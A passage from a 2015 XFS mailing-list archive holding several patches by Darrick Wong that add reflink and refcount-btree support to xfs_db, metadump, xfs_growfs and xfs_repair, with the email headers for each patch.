*/ +static bool +is_reflink( + dbm_t type2) +{ + if (!xfs_sb_version_hasreflink(&mp->m_sb)) + return false; + if (type2 == DBM_DATA || type2 == DBM_RLDATA) + return true; + return false; +} + static void check_set_dbmap( xfs_agnumber_t agno, @@ -1562,10 +1598,15 @@ check_set_dbmap( agbno, agbno + len - 1, c_agno, c_agbno); return; } - check_dbmap(agno, agbno, len, type1); + check_dbmap(agno, agbno, len, type1, is_reflink(type2)); mayprint = verbose | blist_size; for (i = 0, p = &dbmap[agno][agbno]; i < len; i++, p++) { - *p = (char)type2; + if (*p == DBM_RLDATA && type2 == DBM_DATA) + ; /* do nothing */ + if (*p == DBM_DATA && type2 == DBM_DATA) + *p = (char)DBM_RLDATA; + else + *p = (char)type2; if (mayprint && (verbose || CHECK_BLISTA(agno, agbno + i))) dbprintf(_("setting block %u/%u to %s\n"), agno, agbno + i, typename[type2]); @@ -2807,6 +2848,7 @@ process_inode( type = DBM_UNKNOWN; break; } + id->isreflink = !!(idic.di_flags2 & XFS_DIFLAG2_REFLINK); if (idic.di_version == 1) setlink_inode(id, idic.di_onlink, type == DBM_DIR, security); else { @@ -3919,6 +3961,12 @@ scan_ag( be32_to_cpu(agf->agf_levels[XFS_BTNUM_RMAP]), 1, scanfunc_rmap, TYP_RMAPBT); } + if (agf->agf_refcount_root) { + scan_sbtree(agf, + be32_to_cpu(agf->agf_refcount_root), + be32_to_cpu(agf->agf_refcount_level), + 1, scanfunc_refcnt, TYP_REFCBT); + } scan_sbtree(agf, be32_to_cpu(agi->agi_root), be32_to_cpu(agi->agi_level), @@ -4591,6 +4639,78 @@ scanfunc_rmap( } static void +scanfunc_refcnt( + struct xfs_btree_block *block, + int level, + struct xfs_agf *agf, + xfs_agblock_t bno, + int isroot) +{ + xfs_agnumber_t seqno = be32_to_cpu(agf->agf_seqno); + int i; + xfs_refcount_ptr_t *pp; + struct xfs_refcount_rec *rp; + xfs_agblock_t lastblock; + + if (be32_to_cpu(block->bb_magic) != XFS_REFC_CRC_MAGIC) { + dbprintf(_("bad magic # %#x in refcntbt block %u/%u\n"), + be32_to_cpu(block->bb_magic), seqno, bno); + serious_error++; + return; + } + if (be16_to_cpu(block->bb_level) != level) { + if (!sflag) + dbprintf(_("expected level %d got %d in refcntbt block " + "%u/%u\n"), + level, be16_to_cpu(block->bb_level), seqno, bno); + error++; + } + set_dbmap(seqno, bno, 1, DBM_BTREFC, seqno, bno); + if (level == 0) { + if (be16_to_cpu(block->bb_numrecs) > mp->m_refc_mxr[0] || + (isroot == 0 && be16_to_cpu(block->bb_numrecs) < mp->m_refc_mnr[0])) { + dbprintf(_("bad btree nrecs (%u, min=%u, max=%u) in " + "refcntbt block %u/%u\n"), + be16_to_cpu(block->bb_numrecs), mp->m_refc_mnr[0], + mp->m_refc_mxr[0], seqno, bno); + serious_error++; + return; + } + rp = XFS_REFCOUNT_REC_ADDR(block, 1); + lastblock = 0; + for (i = 0; i < be16_to_cpu(block->bb_numrecs); i++) { + set_dbmap(seqno, be32_to_cpu(rp[i].rc_startblock), + be32_to_cpu(rp[i].rc_blockcount), DBM_RLDATA, + seqno, bno); + if (be32_to_cpu(rp[i].rc_startblock) < lastblock) { + dbprintf(_( + "out-of-order refcnt btree record %d (%u %u) block %u/%u\n"), + i, be32_to_cpu(rp[i].rc_startblock), + be32_to_cpu(rp[i].rc_startblock), + be32_to_cpu(agf->agf_seqno), bno); + } else { + lastblock = be32_to_cpu(rp[i].rc_startblock) + + be32_to_cpu(rp[i].rc_blockcount); + } + } + return; + } + if (be16_to_cpu(block->bb_numrecs) > mp->m_refc_mxr[1] || + (isroot == 0 && be16_to_cpu(block->bb_numrecs) < mp->m_refc_mnr[1])) { + dbprintf(_("bad btree nrecs (%u, min=%u, max=%u) in refcntbt " + "block %u/%u\n"), + be16_to_cpu(block->bb_numrecs), mp->m_refc_mnr[1], + mp->m_refc_mxr[1], seqno, bno); + serious_error++; + return; + } + pp = XFS_REFCOUNT_PTR_ADDR(block, 1, mp->m_refc_mxr[1]); + for (i = 0; i < be16_to_cpu(block->bb_numrecs); i++) + scan_sbtree(agf, be32_to_cpu(pp[i]), level, 0, scanfunc_refcnt, + TYP_REFCBT); +} + +static void set_dbmap( xfs_agnumber_t agno, xfs_agblock_t agbno, From darrick.wong@oracle.com Wed Oct 7 00:09:49 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A120029EE5 for ; Wed, 7 Oct 2015 00:09:49 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 074F3AC005 for ; Tue, 6 Oct 2015 22:09:48 -0700 (PDT) X-ASG-Debug-ID: 1444194586-04cb6c57860da70001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id lonNOhZk1rCaE5F8 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:09:47 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9759gLF022018 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:09:42 GMT Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t9759ff3008931 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:09:41 GMT Received: from abhmp0001.oracle.com (abhmp0001.oracle.com [141.146.116.7]) by aserv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t9759fDU010647; Wed, 7 Oct 2015 05:09:41 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:09:41 -0700 Subject: [PATCH 41/51] xfs_db: metadump should copy the refcount btree too From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 41/51] xfs_db: metadump should copy the refcount btree too To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:09:40 -0700 Message-ID: <20151007050940.1504.97198.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444194587 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Teach metadump to copy the refcount btree. Signed-off-by: Darrick J. Wong --- db/metadump.c | 74 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 74 insertions(+) diff --git a/db/metadump.c b/db/metadump.c index 545f55b..c92a934 100644 --- a/db/metadump.c +++ b/db/metadump.c @@ -595,6 +595,78 @@ copy_rmap_btree( return scan_btree(agno, root, levels, TYP_RMAPBT, agf, scanfunc_rmapbt); } +static int +scanfunc_refcntbt( + struct xfs_btree_block *block, + xfs_agnumber_t agno, + xfs_agblock_t agbno, + int level, + typnm_t btype, + void *arg) +{ + xfs_refcount_ptr_t *pp; + int i; + int numrecs; + + if (level == 0) + return 1; + + numrecs = be16_to_cpu(block->bb_numrecs); + if (numrecs > mp->m_refc_mxr[1]) { + if (show_warnings) + print_warning("invalid numrecs (%u) in %s block %u/%u", + numrecs, typtab[btype].name, agno, agbno); + return 1; + } + + pp = XFS_REFCOUNT_PTR_ADDR(block, 1, mp->m_refc_mxr[1]); + for (i = 0; i < numrecs; i++) { + if (!valid_bno(agno, be32_to_cpu(pp[i]))) { + if (show_warnings) + print_warning("invalid block number (%u/%u) " + "in %s block %u/%u", + agno, be32_to_cpu(pp[i]), + typtab[btype].name, agno, agbno); + continue; + } + if (!scan_btree(agno, be32_to_cpu(pp[i]), level, btype, arg, + scanfunc_refcntbt)) + return 0; + } + return 1; +} + +static int +copy_refcount_btree( + xfs_agnumber_t agno, + struct xfs_agf *agf) +{ + xfs_agblock_t root; + int levels; + + if (!xfs_sb_version_hasreflink(&mp->m_sb)) + return 1; + + root = be32_to_cpu(agf->agf_refcount_root); + levels = be32_to_cpu(agf->agf_refcount_level); + + /* validate root and levels before processing the tree */ + if (root == 0 || root > mp->m_sb.sb_agblocks) { + if (show_warnings) + print_warning("invalid block number (%u) in refcntbt " + "root in agf %u", root, agno); + return 1; + } + if (levels >= XFS_BTREE_MAXLEVELS) { + if (show_warnings) + print_warning("invalid level (%u) in refcntbt root " + "in agf %u", levels, agno); + return 1; + } + + return scan_btree(agno, root, levels, TYP_REFCBT, agf, scanfunc_refcntbt); +} + /* filename and extended attribute obfuscation routines */ struct name_ent { @@ -2505,6 +2577,8 @@ scan_ag( goto pop_out; if (!copy_rmap_btree(agno, agf)) goto pop_out; + if (!copy_refcount_btree(agno, agf)) + goto pop_out; } /* copy inode btrees and the inodes and their associated metadata */ From darrick.wong@oracle.com Wed Oct 7 00:09:51 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B0E9C29EDC for ; Wed, 7 Oct 2015 00:09:51 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2296FAC005 for ; Tue, 6 Oct 2015 22:09:51 -0700 (PDT) X-ASG-Debug-ID: 1444194589-04cb6c57850da70001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id eYAf0Ih4Ts7TKfUI (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:09:49 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9759mE5017805 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:09:48 GMT Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t9759lck009223 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:09:48 GMT Received: from abhmp0015.oracle.com (abhmp0015.oracle.com [141.146.116.21]) by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t9759lWh007934; Wed, 7 Oct 2015 05:09:47 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:09:47 -0700 Subject: [PATCH 42/51] xfs_growfs: report the presence of the reflink feature From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 42/51] xfs_growfs: report the presence of the reflink feature To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:09:46 -0700 Message-ID: <20151007050946.1504.35739.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444194589 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Report the presence of the reflink feature in xfs_info. Signed-off-by: Darrick J. Wong --- growfs/xfs_growfs.c | 12 +++++++++--- libxfs/xfs_fs.h | 3 ++- 2 files changed, 11 insertions(+), 4 deletions(-) diff --git a/growfs/xfs_growfs.c b/growfs/xfs_growfs.c index 2b46480..a294e14 100644 --- a/growfs/xfs_growfs.c +++ b/growfs/xfs_growfs.c @@ -59,12 +59,14 @@ report_info( int ftype_enabled, int finobt_enabled, int spinodes, - int rmapbt_enabled) + int rmapbt_enabled, + int reflink_enabled) { printf(_( "meta-data=%-22s isize=%-6u agcount=%u, agsize=%u blks\n" " =%-22s sectsz=%-5u attr=%u, projid32bit=%u\n" " =%-22s crc=%-8u finobt=%u spinodes=%u rmapbt=%u\n" + " =%-22s reflink=%u\n" "data =%-22s bsize=%-6u blocks=%llu, imaxpct=%u\n" " =%-22s sunit=%-6u swidth=%u blks\n" "naming =version %-14u bsize=%-6u ascii-ci=%d ftype=%d\n" @@ -75,6 +77,7 @@ report_info( mntpoint, geo.inodesize, geo.agcount, geo.agblocks, "", geo.sectsize, attrversion, projid32bit, "", crcs_enabled, finobt_enabled, spinodes, rmapbt_enabled, + "", reflink_enabled, "", geo.blocksize, (unsigned long long)geo.datablocks, geo.imaxpct, "", geo.sunit, geo.swidth, @@ -129,6 +132,7 @@ main(int argc, char **argv) int finobt_enabled; /* free inode btree */ int spinodes; int rmapbt_enabled; + int reflink_enabled; progname = basename(argv[0]); setlocale(LC_ALL, ""); @@ -253,12 +257,13 @@ main(int argc, char **argv) finobt_enabled = geo.flags & XFS_FSOP_GEOM_FLAGS_FINOBT ? 1 : 0; spinodes = geo.flags & XFS_FSOP_GEOM_FLAGS_SPINODES ? 1 : 0; rmapbt_enabled = geo.flags & XFS_FSOP_GEOM_FLAGS_RMAPBT ? 1 : 0; + reflink_enabled = geo.flags & XFS_FSOP_GEOM_FLAGS_REFLINK ? 1 : 0; if (nflag) { report_info(geo, datadev, isint, logdev, rtdev, lazycount, dirversion, logversion, attrversion, projid32bit, crcs_enabled, ci, ftype_enabled, finobt_enabled, spinodes, - rmapbt_enabled); + rmapbt_enabled, reflink_enabled); exit(0); } @@ -296,7 +301,8 @@ main(int argc, char **argv) report_info(geo, datadev, isint, logdev, rtdev, lazycount, dirversion, logversion, attrversion, projid32bit, crcs_enabled, ci, ftype_enabled, - finobt_enabled, spinodes, rmapbt_enabled); + finobt_enabled, spinodes, rmapbt_enabled, + reflink_enabled); ddsize = xi.dsize; dlsize = ( xi.logBBsize? xi.logBBsize : diff --git a/libxfs/xfs_fs.h b/libxfs/xfs_fs.h index b17ccd5..0dcffc8 100644 --- a/libxfs/xfs_fs.h +++ b/libxfs/xfs_fs.h @@ -241,7 +241,8 @@ typedef struct xfs_fsop_resblks { #define XFS_FSOP_GEOM_FLAGS_FTYPE 0x10000 /* inode directory types */ #define XFS_FSOP_GEOM_FLAGS_FINOBT 0x20000 /* free inode btree */ #define XFS_FSOP_GEOM_FLAGS_SPINODES 0x40000 /* sparse inode chunks */ -#define XFS_FSOP_GEOM_FLAGS_RMAPBT 0x80000 /* reverse-mapping btree */ +#define XFS_FSOP_GEOM_FLAGS_RMAPBT 0x80000 /* reverse mapping btree */ +#define XFS_FSOP_GEOM_FLAGS_REFLINK 0x100000 /* files can share blocks */ /* * Minimum and maximum sizes need for growth checks. From darrick.wong@oracle.com Wed Oct 7 00:10:02 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9916929E90 for ; Wed, 7 Oct 2015 00:10:02 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 792B8304039 for ; Tue, 6 Oct 2015 22:10:02 -0700 (PDT) X-ASG-Debug-ID: 1444194600-04cbb03f120daf0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id LHGGVetyFeGCLkTh (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:10:00 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9759tXf022086 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:09:55 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by aserv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t9759srH002271 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:09:54 GMT Received: from abhmp0017.oracle.com (abhmp0017.oracle.com [141.146.116.23]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t9759sp9025766; Wed, 7 Oct 2015 05:09:54 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:09:53 -0700 Subject: [PATCH 43/51] xfs_repair: check the existing refcount btree From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 43/51] xfs_repair: check the existing refcount btree To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:09:52 -0700 Message-ID: <20151007050952.1504.7701.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0022.oracle.com [141.146.126.234] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444194600 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Spot-check the refcount btree for obvious errors, and mark the refcount btree blocks as such. Signed-off-by: Darrick J. Wong --- repair/incore.h | 3 + repair/scan.c | 185 +++++++++++++++++++++++++++++++++++++++++++++++++++ repair/xfs_repair.c | 2 + 3 files changed, 189 insertions(+), 1 deletion(-) diff --git a/repair/incore.h b/repair/incore.h index bc0810b..b6c4b4f 100644 --- a/repair/incore.h +++ b/repair/incore.h @@ -106,7 +106,8 @@ typedef struct rt_extent_tree_node { #define XR_E_INUSE_FS1 9 /* used by fs ag header or log (rmap btree) */ #define XR_E_INO1 10 /* used by inodes (marked by rmap btree) */ #define XR_E_FS_MAP1 11 /* used by fs space/inode maps (rmap btree) */ -#define XR_E_BAD_STATE 12 +#define XR_E_REFC 12 /* used by fs ag reference count btree */ +#define XR_E_BAD_STATE 13 /* separate state bit, OR'ed into high (4th) bit of ex_state field */ diff --git a/repair/scan.c b/repair/scan.c index 823401b..4be02a6 100644 --- a/repair/scan.c +++ b/repair/scan.c @@ -935,6 +935,9 @@ advance: case XFS_RMAP_OWN_INODES: set_bmap(agno, b, XR_E_INO1); break; + case XFS_RMAP_OWN_REFC: + set_bmap(agno, b, XR_E_REFC); + break; case XFS_RMAP_OWN_NULL: /* still unknown */ break; @@ -970,6 +973,14 @@ _("inode block (%d,%d-%d) mismatch in %s tree, state - %d,%" PRIx64 "\n"), agno, b, b + blen - 1, name, state, owner); break; + case XR_E_REFC: + if (owner == XFS_RMAP_OWN_REFC) + break; + do_warn( +_("AG refcount block (%d,%d-%d) mismatch in %s tree, state - %d,%" PRIx64 "\n"), + agno, b, b + blen - 1, + name, state, owner); + break; case XR_E_INUSE: if (owner >= 0 && owner < mp->m_sb.sb_dblocks) @@ -1052,6 +1063,167 @@ out: rmap_avoid_check(); } +static void +scan_refcbt( + struct xfs_btree_block *block, + int level, + xfs_agblock_t bno, + xfs_agnumber_t agno, + int suspect, + int isroot, + __uint32_t magic, + void *priv) +{ + const char *name = "refcount"; + int i; + xfs_refcount_ptr_t *pp; + struct xfs_refcount_rec *rp; + int hdr_errors = 0; + int numrecs; + int state; + xfs_agblock_t lastblock = 0; + + if (magic != XFS_REFC_CRC_MAGIC) { + name = "(unknown)"; + hdr_errors++; + suspect++; + goto out; + } + + if (be32_to_cpu(block->bb_magic) != magic) { + do_warn(_("bad magic # %#x in %s btree block %d/%d\n"), + be32_to_cpu(block->bb_magic), name, agno, bno); + hdr_errors++; + if (suspect) + goto out; + } + + if (be16_to_cpu(block->bb_level) != level) { + do_warn(_("expected level %d got %d in %s btree block %d/%d\n"), + level, be16_to_cpu(block->bb_level), name, agno, bno); + hdr_errors++; + if (suspect) + goto out; + } + + /* check for btree blocks multiply claimed */ + state = get_bmap(agno, bno); + if (!(state == XR_E_UNKNOWN || state == XR_E_REFC)) { + set_bmap(agno, bno, XR_E_MULT); + do_warn( +_("%s btree block claimed (state %d), agno %d, bno %d, suspect %d\n"), + name, state, agno, bno, suspect); + goto out; + } + set_bmap(agno, bno, XR_E_FS_MAP); + + numrecs = be16_to_cpu(block->bb_numrecs); + if (level == 0) { + if (numrecs > mp->m_refc_mxr[0]) { + numrecs = mp->m_refc_mxr[0]; + hdr_errors++; + } + if (isroot == 0 && numrecs < mp->m_refc_mnr[0]) { + numrecs = mp->m_refc_mnr[0]; + hdr_errors++; + } + + if (hdr_errors) { + do_warn( + _("bad btree nrecs (%u, min=%u, max=%u) in %s btree block %u/%u\n"), + be16_to_cpu(block->bb_numrecs), + mp->m_refc_mnr[0], mp->m_refc_mxr[0], + name, agno, bno); + suspect++; + } + + rp = XFS_REFCOUNT_REC_ADDR(block, 1); + for (i = 0; i < numrecs; i++) { + xfs_agblock_t b, end; + xfs_extlen_t len; + xfs_nlink_t nr; + + b = be32_to_cpu(rp[i].rc_startblock); + len = be32_to_cpu(rp[i].rc_blockcount); + nr = be32_to_cpu(rp[i].rc_refcount); + end = b + len; + + if (!verify_agbno(mp, agno, b)) { + do_warn( + _("invalid start block %u in record %u of %s btree block %u/%u\n"), + b, i, name, agno, bno); + continue; + } + if (len == 0 || !verify_agbno(mp, agno, end - 1)) { + do_warn( + _("invalid length %u in record %u of %s btree block %u/%u\n"), + len, i, name, agno, bno); + continue; + } + + if (nr < 2 || nr > MAXREFCOUNT) { + do_warn( + _("invalid reference count %u in record %u of %s btree block %u/%u\n"), + nr, i, name, agno, bno); + continue; + } + + if (b && b <= lastblock) { + do_warn(_( + "out-of-order %s btree record %d (%u %u) block %u/%u\n"), + name, i, b, len, agno, bno); + } else { + lastblock = b; + } + + /* XXX: probably want to mark the reflinked areas? */ + } + goto out; + } + + /* + * interior record + */ + pp = XFS_REFCOUNT_PTR_ADDR(block, 1, mp->m_refc_mxr[1]); + + if (numrecs > mp->m_refc_mxr[1]) { + numrecs = mp->m_refc_mxr[1]; + hdr_errors++; + } + if (isroot == 0 && numrecs < mp->m_refc_mnr[1]) { + numrecs = mp->m_refc_mnr[1]; + hdr_errors++; + } + + /* + * don't pass bogus tree flag down further if this block + * looked ok. bail out if two levels in a row look bad. + */ + if (hdr_errors) { + do_warn( + _("bad btree nrecs (%u, min=%u, max=%u) in %s btree block %u/%u\n"), + be16_to_cpu(block->bb_numrecs), + mp->m_refc_mnr[1], mp->m_refc_mxr[1], + name, agno, bno); + if (suspect) + goto out; + suspect++; + } else if (suspect) { + suspect = 0; + } + + for (i = 0; i < numrecs; i++) { + xfs_agblock_t bno = be32_to_cpu(pp[i]); + + if (bno != 0 && verify_agbno(mp, agno, bno)) { + scan_sbtree(bno, level, agno, suspect, scan_refcbt, 0, + magic, priv, &xfs_refcountbt_buf_ops); + } + } +out: + return; +} + /* * The following helpers are to help process and validate individual on-disk * inode btree records. We have two possible inode btrees with slightly @@ -1830,6 +2002,19 @@ validate_agf( } } + if (xfs_sb_version_hasreflink(&mp->m_sb)) { + bno = be32_to_cpu(agf->agf_refcount_root); + if (bno != 0 && verify_agbno(mp, agno, bno)) { + scan_sbtree(bno, + be32_to_cpu(agf->agf_refcount_level), + agno, 0, scan_refcbt, 1, XFS_REFC_CRC_MAGIC, + agcnts, &xfs_refcountbt_buf_ops); + } else { + do_warn(_("bad agbno %u for refcntbt root, agno %d\n"), + bno, agno); + } + } + if (be32_to_cpu(agf->agf_freeblks) != agcnts->agffreeblks) { do_warn(_("agf_freeblks %u, counted %u in ag %u\n"), be32_to_cpu(agf->agf_freeblks), agcnts->agffreeblks, agno); diff --git a/repair/xfs_repair.c b/repair/xfs_repair.c index f4289c0..6d2af9e 100644 --- a/repair/xfs_repair.c +++ b/repair/xfs_repair.c @@ -422,6 +422,8 @@ calc_mkfs(xfs_mount_t *mp) fino_bno += min(2, mp->m_ag_maxlevels); fino_bno++; } + if (xfs_sb_version_hasreflink(&mp->m_sb)) + fino_bno++; /* * If the log is allocated in the first allocation group we need to From darrick.wong@oracle.com Wed Oct 7 00:10:08 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E1B5829EEF for ; Wed, 7 Oct 2015 00:10:07 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 730F7AC007 for ; Tue, 6 Oct 2015 22:10:07 -0700 (PDT) X-ASG-Debug-ID: 1444194605-04bdf020da0ea80001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id GPjDvj5gUYOUGQIe (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:10:05 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t975A0fY022155 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:10:01 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t975A0s9009809 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:10:00 GMT Received: from abhmp0003.oracle.com (abhmp0003.oracle.com [141.146.116.9]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t975A0M7025790; Wed, 7 Oct 2015 